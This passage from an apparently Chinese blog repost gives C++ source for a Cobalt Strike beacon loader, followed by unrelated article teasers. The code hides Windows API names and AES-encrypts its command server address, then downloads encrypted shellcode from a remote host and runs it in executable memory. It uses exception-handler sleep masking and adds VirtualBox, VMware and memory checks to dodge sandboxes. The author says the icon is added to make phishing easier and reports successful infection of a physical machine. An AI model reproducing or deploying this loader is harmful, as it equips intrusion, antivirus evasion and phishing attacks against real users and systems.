	AddVectoredExceptionHandler(1, &FirstVectExcepHandler);   //表示注册一个优先级为 1 的向量化异常处理程序,并将其指向名为 FirstVectExcepHandler 的函数。当发生相应的异常时,被注册的处理程序 FirstVectExcepHandler 将会被调用。
	Hook();
	HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);   //创建线程
	CloseHandle(hThread1);   //关闭句柄



	unsigned char* BinData = NULL;
	size_t payload_len = 500000;

	string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx";   //远程下载的主机的ip
	string dehost = DecryptionAES(enhost);

	int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
	LPWSTR hostLPCWSTR = new WCHAR[hostLen];
	MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);

	WORD port = 8000;
	string enpath = "EkYwlGs7z8OzXAEs7rszZA==";   //对应的文件
	string depath = DecryptionAES(enpath);

	int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
	LPWSTR pathLPCWSTR = new WCHAR[pathLen];
	MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);

	HINTERNET session;
	HINTERNET conn;
	HINTERNET reqfile;
	DWORD nread;

	//shellcode_addr = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  	//使用默认设置创建会话
	char xyVAc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0 };
	VirtualAllocT pVAc = (VirtualAllocT)CustomGetProcAddress((HMODULE)getKernel32Address(), xyVAc);
	shellcode_addr = pVAc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

	//连接到目标主机
	//conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);
	char xyItC[] = { 'I','n','t','e','r','n','e','t','C','o','n','n','e','c','t','W',0 };
	InternetConnectW_T pItC = (InternetConnectW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyItC);
	conn = pItC(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);

	//创建请求
	//reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);
	char xyHOR[] = { 'H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','W',0 };
	HttpOpenRequestW_T pHOR = (HttpOpenRequestW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyHOR);
	reqfile = pHOR(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);

	//发送请求并读取响应
	//HttpSendRequest(reqfile, NULL, 0, 0, 0);
	char xyHSR[] = { 'H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','W',0 };
	HttpSendRequestW_T pHSR = (HttpSendRequestW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyHSR);
	pHSR(reqfile, NULL, 0, 0, 0);

	//InternetReadFile(reqfile, shellcode_addr, payload_len, &nread);
	char xyIRF[] = { 'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e',0 };
	InternetReadFile_T pIRF = (InternetReadFile_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyIRF);
	pIRF(reqfile, shellcode_addr, payload_len, &nread);

	std::string AESEncodedContent(reinterpret_cast<const char*>(shellcode_addr), nread);
	std::string base64DecodedContent;

	string AESDecodedContent = DecryptionAES(AESEncodedContent);
	base64DecodedContent = ko::Base64::decode(AESDecodedContent);

	//char* szFilePath = "F:\\Tools\\beacon811.bin";    
	//BinData = ReadBinaryFile(szFilePath, &size);    //ReadBinaryFile函数能直接读取二进制文件

	memcpy(shellcode_addr, base64DecodedContent.data(), base64DecodedContent.size());    //将内存复制进去
	VirtualProtect(shellcode_addr, payload_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);   //修改内存属性
	(*(int(*)()) shellcode_addr)();

	UnHook();


	return 0;
}


//整体思路:Beacon进入睡眠就取消它内存的可执行属性,等Beacon线程醒来时触发异常交由VEH异常处理函数恢复内存的可执行属性,然后Beacon执行完成后又进入睡眠一直重复上述过程

在这里插入图片描述
其他代码在ConsoleApplication811中已经写出,需要过去拿即可

接下来为了钓鱼方便,加个ico图标(直接visual studio资源加入就可以),然后加入一些反虚拟检测

if (CheckProcess() == false || checkReg() == true || CheckMemory() == false)
{
	exit(-1);
}
//虚拟机检测
int check(char* name) {
	const char* list[2] = { "VBoxService.exe","VBoxTray.exe" };
	for (int i = 0; i < 2; ++i) {
		if (strcmp(name, list[i]) == 0)
			return -1;
	}
	return 0;
}

bool CheckMemory()
{
	//定义了一个名为 mst 的 _MEMORYSTATUSEX 结构体变量,用于存储内存状态信息
	_MEMORYSTATUSEX mst;
	DWORDLONG d_size = 4294496257;
	//结构体大小
	mst.dwLength = sizeof(mst);
	//GlobalMemoryStatusEx获取当前系统的内存状态信息。
	GlobalMemoryStatusEx(&mst);
	//如果内存状态信息中的物理内存总量 mst.ullTotalPhys 小于变量 d_size,则表示系统的物理内存不足
	if (mst.ullTotalPhys < d_size)
		return false; //函数返回 false,表示内存不满足要求
	else
		return true;  //返回 true,表示内存满足要求
}

bool checkReg() {
	//首先,定义了一个 HKEY 类型的变量 hkey,用于存储打开的注册表键
	HKEY hkey;
	//调用 RegOpenKey 函数,传入 HKEY_CLASSES_ROOT(根键),以及字符串 L"\\Applications\\VMwareHostOpen.exe",来尝试打开注册表中的指定键
	if (RegOpenKey(HKEY_CLASSES_ROOT, L"\\Applications\\VMwareHostOpen.exe", &hkey) == ERROR_SUCCESS)
	{
		//在键成功打开的情况下,函数返回 true,表示注册表中的键存在
		return true;
	}
	//在键成功打开的情况下,函数返回 true,表示注册表中的键存在
	else
	{
		//在键打开失败的情况下,函数返回 false,表示注册表中的键不存在
		return false;
	}
}

bool CheckProcess()
{
	PROCESSENTRY32 pe32;
	pe32.dwSize = sizeof(pe32);
	//CreateToolhelp32Snapshot可以通过获取进程信息为指定的进程
	HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	//要 Process32First 返回成功(非零),就会继续迭代处理每个进程
	BOOL bResult = Process32First(hProcessSnap, &pe32);
	while (bResult) {
		char sz_Name[MAX_PATH] = { 0 };
		WideCharToMultiByte(CP_ACP, 0, pe32.szExeFile, -1, sz_Name, sizeof(sz_Name), NULL, NULL); //从宽字符转换为多字节字符
		if (check(sz_Name) == -1) //查进程名是否匹配特定字符串。如果匹配成功(返回值为 -1),则表示检测到了特定进程,函数返回 false
			return false;
		bResult = Process32Next(hProcessSnap, &pe32); //获取下一个进程的信息
	}
	return true;
}

在这里插入图片描述
在这里插入图片描述
可以看到物理机成功上线,但是虚拟机点击上线不了,成功反沙箱

参考文章:
https://xz.aliyun.com/t/9399
https://github.com/wangfly-me/SysHttpHookSleep

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/942399.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

统计教程|PASS实现单因素多水平方差分析的样本含量估计

前面我们讲过当主要结局指标是连续变量时&#xff0c;两总体均数比较时样本量估计的计算公式原理以及PASS软件操作教程。当设计研究的试验因素只有一个&#xff0c;并且该因素的水平数&#xff08;组数&#xff09;k≥3&#xff0c;当主要研究指标为连续变量时我们常用单因素多…

设计模式—原型模式(Prototype)

目录 一、什么是原型模式&#xff1f; 二、原型模式具有什么优缺点吗&#xff1f; 三、有什么缺点&#xff1f; 四、什么时候用原型模式&#xff1f; 五、代码展示 ①、简历代码初步实现 ②、原型模式 ③、简历的原型实现 ④、深复制 ⑤、浅复制 一、什么是原型模式&…

2023-8-28 树的重心(树与图的深度优先遍历)

题目链接&#xff1a;树的重心 #include <cstring> #include <iostream> #include <algorithm>using namespace std;const int N 100010, M N * 2;int n; int h[N], e[M], ne[M], idx; int ans N; bool st[N];void add(int a, int b) {e[idx] b, ne[id…

小鹏接手MONA,滴滴造了一台什么样的车?

作者|张祥威 编辑|德新 8月28日&#xff0c;小鹏汽车宣布和滴滴出行达成战略合作。 除了资本层面的合作&#xff0c;双方合作的业务核心是代号「MONA」的车型项目。 根据协议&#xff1a; 双方将打造一款售价15万元级别的A级纯电动轿车&#xff0c;项目代号MONA&#xff1b…

5.Redis-string

string 字符串 字符串类型是 Redis 最基础的数据类型&#xff0c;关于字符串需要特别注意&#xff1a; 1.⾸先Redis中所有 key 的类型都是字符串类型&#xff0c;⽽且其他⼏种数据结构也都是在字符串类似基础上构建的&#xff0c;例如 list 和 set 的元素类型是字符串类型。 2…

遥遥领先?实际是落后两代以上,小丑挡不住更多消费者买iPhone

谈到国产手机的时候&#xff0c;谁都知道一个品牌&#xff0c;都说遥遥领先苹果&#xff0c;然而事实上呢所有安卓手机都落后苹果两代&#xff0c;正是这样的现实让国内消费者越来越多买iPhone&#xff0c;推动苹果在中国高端手机市场逼近八成份额。 1.苹果为何领先&#xff1f…

Android12之ABuffer数据处理(三十五)

简介: CSDN博客专家,专注Android/Linux系统,分享多mic语音方案、音视频、编解码等技术,与大家一起成长! 优质专栏:Audio工程师进阶系列【原创干货持续更新中……】🚀 人生格言: 人生从来没有捷径,只有行动才是治疗恐惧和懒惰的唯一良药. 更多原创,欢迎关注:Android…

WebGL:开始学习 / 理解 WebGL / WebGL 需要掌握哪些知识 / 应用领域 / 前端值得学WebGL吗

一、WebGL发展史 2006 年&#xff0c;WebGL 的发展史可以追溯到 2006 年左右&#xff0c;当时 Mozilla Foundation 的一个开发人员 Vladimir Vukićević 开始尝试在 Firefox 浏览器中嵌入 OpenGL&#xff0c;为 JavaScript 提供底层图形库的支持。随后&#xff0c;这个项目引…

IDEA插件推荐 - Grep Console - 控制台日志过滤的插件

装上该插件之后&#xff0c;我们就可以很方便的进行日志的过滤、筛选。

周鸿祎为360智脑招贤纳士;LLM时代的选择指南;Kaggle大语言模型实战;一文带你逛遍LLM全世界 | ShowMeAI日报

&#x1f440;日报&周刊合集 | &#x1f3a1;生产力工具与行业应用大全 | &#x1f9e1; 点赞关注评论拜托啦&#xff01; &#x1f916; 思否「齐聚码力」黑客马拉松&#xff0c;用技术代码让生活变得更美好 主页&#xff1a;https://pages.segmentfault.com/google-hacka…

智通三千亮相2023中国软博会

“软件赋智&#xff0c;数实融合。”8月20日—23日&#xff0c;2023中国国际软件产品和信息服务交易博览会在南京举办。软博会连续举办19届。期间&#xff0c;《2023年我国工业软件产业发展研究报告》《中国软件产业高质量发展紫金指数&#xff08;2023&#xff09;》等发布。 …

c++查漏补缺(1)

目录 1.explicit关键字 2.static关键字 3.友元函数 1.explicit关键字 exeplicit关键字是在构造函数要使用的关键字。可以防止“隐式构造”&#xff0c;例如&#xff1a; #include<iostream>using namespace std;class Date { public:explicit Date(int year, int mo…

【科研论文配图绘制】task5 SciencePlots绘图包入门

【科研论文配图绘制】task5 SciencePlots绘图包入门 task5主要学习了SciencePlots拓展包的出图样式&#xff0c;掌握SciencePlots的安装及具体使用。 SciencePlots作为一个专门用于科研论文绘图的第三方拓展工具包&#xff0c;提供了主流英文科技 期刊(如 Nature、Science 和 …

1、监测数据采集物联网应用开发步骤(1)

项目介绍 本文章编写目的针对下图中《。。。解决方案》所涉及的开发资料&#xff1b; 监测数据采集物联网应用解决方案_yong427的博客-CSDN博客 开发步骤实现从0开始搭建软件框架&#xff0c;该开发步骤基于python3.0语言及相关工具实现&#xff0c;阅读本文章之前请先初步百…

MyBatis学习简要

目录 什么是MyBatis? MyBatis实现的设想 MyBatis基于配置文件的开发步骤 mybatis的配置文件 Mapper代理开发 配置文件完成增删改查的三步 注解开发 一、条件查询 参数接收时&#xff0c;参数的设置&#xff1a; 动态条件查询&#xff1a; 二、添加功能 步骤&#xf…

Eclipse打jar包与JavaDOC文档的生成

补充知识点——Eclipse打jar包与JavaDOC文档的生成 1、Eclipse如何打jar包&#xff0c;如何运行jar包 Java当中编写的Java代码&#xff0c;Java类、方法、接口这些东西就是项目中相关内容&#xff0c;到时候我们需要把代码提供给甲方、或者是我们需要运行我们编写的代码&…

《2023年网信人才培训-网络安全从业人员能力素养提升培训》第一期成功举办

随着网络强国和数字中国建设的步伐加快&#xff0c;建设规模宏大、结构合理、素质优良的人才队伍成为一项重要工作。知了汇智作为数字产教融合基地&#xff0c;通过与高校、企业等多方合作&#xff0c;建立了完整的网络安全人才培养生态链。凭借自身技术优势和丰富的产业资源&a…

【Go 基础篇】探索Go语言中的Map:数据的魔法盒子

嗨&#xff0c;各位Go语言的探索者们&#xff01;在我们的编程世界中&#xff0c;总会有一些特殊的工具能够让我们的生活变得更加便捷。而在Go语言中&#xff0c;Map就是这样一种神奇的数据结构。它就像是一个魔法盒子&#xff0c;可以帮助我们高效地存储和操作键值对数据。本文…

python技术栈之单元测试中mock的使用

什么是mock&#xff1f; mock测试就是在测试过程中&#xff0c;对于某些不容易构造或者不容易获取的对象&#xff0c;用一个虚拟的对象来创建以便测试的测试方法。 mock的作用 特别是开发过程中上下游未完成的工序导致当前无法测试&#xff0c;需要虚拟某些特定对象以便测试…

Spring(九)声明式事务

Spring整合Junit4和JdbcTemplater如下所示&#xff1a; 我们所使用的junit的jar包不同&#xff0c;可以整合不同版本的junit。 我们导入的依赖如下所示&#xff1a; <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.a…